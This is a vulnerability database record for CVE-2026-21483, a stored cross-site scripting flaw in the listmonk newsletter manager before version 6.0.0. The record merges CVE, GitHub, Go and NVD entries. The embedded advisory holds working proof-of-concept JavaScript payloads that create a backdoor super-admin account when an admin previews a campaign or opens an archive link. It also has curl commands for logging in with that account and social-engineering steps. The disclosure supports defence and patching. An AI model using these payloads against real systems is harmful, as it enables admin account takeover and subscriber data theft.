{"id":"CVE-2026-21483","aliases":["CVE-2026-21483","GHSA-jmr4-p576-v565","GO-2026-4277"],"related":[],"kind":"vulnerability","state":"published","title":"listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover","summary":"listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to version 6.0.0, lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts. The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required. Version 6.0.0 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to version 6.0.0, lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts. The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required. Version 6.0.0 fixes the issue.","source":"cvelist"},{"lang":"en","text":"## Security Advisory: Stored XSS Leading to Admin Account Takeover\n\n**Affected Versions:** ≤ 5.1.0  \n**Vulnerability Type:** CWE-79: Stored Cross-Site Scripting  \n\n---\n\n## Summary\n\nA lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.\n\nThe attack can be weaponized via the **public archive feature**, where victims simply need to visit a link - no preview click required.\n\n---\n\n## Required Attacker Permissions\n\n```\ncampaigns:manage    - Create/edit campaigns\ncampaigns:get       - View campaigns  \nlists:get_all       - Access lists\ntemplates:get       - Access templates\n```\n\n**Note:** These are common permissions for content managers who are not full admins.\n\n---\n\n## Attack Vectors\n\n### Vector 1: Raw HTML (Direct Script Tag)\n\n```html\n<script>\nfetch('/api/users', {\n  method: 'POST',\n  headers: {'Content-Type': 'application/json'},\n  credentials: 'include',\n  body: '{\"username\":\"backdoor\",\"email\":\"backdoor@evil.com\",\"name\":\"Backdoor\",\"password\":\"Hacked123\",\"type\":\"user\",\"status\":\"enabled\",\"userRoleId\":1,\"user_role_id\":1}'\n});\n</script>\n```\n\n### Vector 2: Go Template `Safe` Function\n\n```\n{{ `<script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{\"username\":\"backdoor\",\"email\":\"backdoor@evil.com\",\"name\":\"Backdoor\",\"password\":\"Hacked123\",\"type\":\"user\",\"status\":\"enabled\",\"userRoleId\":1,\"user_role_id\":1}'});</script>` | Safe }}\n```\n\n---\n\n## Attack Scenarios\n\n### Scenario 1: Campaign Preview Attack\n\n1. Attacker creates campaign with XSS payload\n2. Request is made to super admin: *\"Please review my newsletter draft\"*\n3. Super admin opens campaign and clicks **Preview**\n4. XSS executes → Backdoor admin account created\n5. Attacker logs in with `backdoor` / `Hacked123`\n\n### Scenario 2: Archive Link Attack (No Click Required)\n\n1. Attacker creates campaign with XSS payload\n2. Attacker enables **Archive** for the campaign\n3. Attacker shares archive link: `http://localhost:9000/archive/{uuid}`\n4. Super admin visits the link (no preview click needed!)\n5. XSS executes automatically → Account takeover\n\n---\n\n## Proof of Concept\n\n### Step 1: Create Malicious Campaign\n\nAs lower-privileged user, create campaign with body:\n```html\n<script>\nfetch('/api/users', {\n  method: 'POST',\n  headers: {'Content-Type': 'application/json'},\n  credentials: 'include',\n  body: JSON.stringify({\n    username: 'backdoor',\n    email: 'backdoor@evil.com', \n    name: 'Backdoor Admin',\n    password: 'Hacked123',\n    type: 'user',\n    status: 'enabled',\n    userRoleId: 1,\n    user_role_id: 1\n  })\n});\n</script>\n```\n\n### Step 2: Enable Archive (Optional - for link-based attack)\n\n1. Edit campaign settings\n2. Enable \"Archive\"\n3. Copy archive URL: `http://localhost:9000/archive/{campaign-uuid}`\n\n### Step 3: Trigger Execution\n\n**Option A - Preview:**\n- Send campaign to super admin for \"review\"\n- Super admin previews → XSS fires\n\n**Option B - Archive Link:**\n- Share archive URL with super admin\n- Super admin visits link → XSS fires automatically\n\n### Step 4: Verify Takeover\n\n```bash\n# Login as backdoor admin\ncurl -X POST \"http://localhost:9000/admin/login\" \\\n  -d \"username=backdoor&password=Hacked123\" \\\n  -c cookies.txt -L\n\n# Verify super admin access\ncurl -b cookies.txt \"http://localhost:9000/api/users\"\n```\n\n---\n\n## Evidence Screenshots\n\n> **[Screenshot 1: Lower-privileged user creating malicious campaign]**\n<img width=\"1892\" height=\"781\" alt=\"Screenshot 2025-12-27 170259\" src=\"https://github.com/user-attachments/assets/b9af26bf-0c5b-4667-ba9a-eea774156d0b\" />\n\n> **[Screenshot 2: Super admin previewing campaign]**\n<img width=\"1686\" height=\"709\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4ca3d5ff-0cd9-4f22-bca0-e26e13c6b1c7\" />\n\n> **[Screenshot 3: Backdoor user successfully created]**\n<img width=\"1370\" height=\"469\" alt=\"Screenshot 2025-12-27 170413\" src=\"https://github.com/user-attachments/assets/18135128-f5af-4023-9aa7-8662a1405ed2\" />\n\n---\n\n## Impact\n\n| Action | Possible via XSS |\n|--------|-----------------|\n| Create backdoor admin | ✅ Yes |\n| Export all subscribers | ✅ Yes |\n| Modify SMTP settings | ✅ Yes |\n| Delete all campaigns | ✅ Yes |\n| Access API keys/secrets | ✅ Yes |\n\n---\n\n## Affected Components\n\n| Component | XSS Works? | Method |\n|-----------|-----------|--------|\n| Campaign body (Raw HTML) | ✅ Yes | Direct `<script>` tag |\n| Campaign body (Template) | ✅ Yes | `{{ \\` \\` \\| Safe }}` |\n| Template body | ✅ Yes | Both methods |\n| Campaign archive | ✅ Yes | Automatic execution on visit |\n\n---","format":"markdown","source":"ghsa"},{"lang":"en","text":"listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover in github.com/knadh/listmonk.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/knadh/listmonk from v1.1.1 before v6.0.0.","format":"markdown","source":"go"},{"lang":"es","text":"listmonk es un gestor de boletines y listas de correo autónomo y autoalojado. Antes de la versión 6.0.0, un usuario con privilegios inferiores y permisos de gestión de campañas puede inyectar JavaScript malicioso en campañas o plantillas. Cuando un usuario con privilegios superiores (Super Admin) ve o previsualiza este contenido, el XSS se ejecuta en el contexto de su navegador, permitiendo al atacante realizar acciones privilegiadas como crear cuentas de administrador con puerta trasera. El ataque puede ser instrumentalizado a través de la función de archivo público, donde las víctimas simplemente necesitan visitar un enlace - no se requiere hacer clic en la previsualización. La versión 6.0.0 corrige el problema.","source":"nvd"}],"published":"2026-01-02T20:57:29.332Z","modified":"2026-06-17T10:18:42.023Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P","score":5.4,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P","score":5.4,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 6.0.0","status":"affected"}],"vendor":"knadh","product":"listmonk","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"1.1.1","status":"affected","fixed":"6.0.0"}],"ecosystem":"Go","package":"github.com/knadh/listmonk","purl":"pkg:golang/github.com/knadh/listmonk","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.1.1-0.20251231125615-74dc5a01cfbb"}],"ecosystem":"Go","package":"github.com/knadh/listmonk","purl":"pkg:golang/github.com/knadh/listmonk","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.1.1-0.20251231125615-74dc5a01cfbb"}],"ecosystem":"Go","package":"github.com/knadh/listmonk","purl":"pkg:golang/github.com/knadh/listmonk","source":"go"},{"ranges":[{"status":"affected","fixed":"6.0.0"}],"vendor":"nadh","product":"listmonk","cpe":"cpe:2.3:a:nadh:listmonk:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/knadh/listmonk/security/advisories/GHSA-jmr4-p576-v565","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21483","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/knadh/listmonk/commit/74dc5a01cfbb12cf218cb33ddad8410c53e2e915","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://github.com/knadh/listmonk","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/knadh/listmonk/releases/tag/v6.0.0","tags":["web"],"sources":["ghsa","go"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-01-02T21:18:17.532Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-21483","url":"https://www.cve.org/CVERecord?id=CVE-2026-21483","licence":"CVE Terms of Use","modified":"2026-01-02T21:18:57.834Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-jmr4-p576-v565","url":"https://github.com/advisories/GHSA-jmr4-p576-v565","licence":"CC-BY-4.0","modified":"2026-02-03T03:14:11.589Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4277","url":"https://pkg.go.dev/vuln/GO-2026-4277","licence":"CC-BY-4.0","modified":"2026-01-12T18:11:10.248Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-21483","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21483","licence":"Public domain","modified":"2026-06-17T10:18:42.023Z"}],"updatedAt":"2026-11-25T22:59:12.598Z","epss":{"score":0.00226,"percentile":0.14127,"date":"2026-12-01T12:00:22.000Z"}}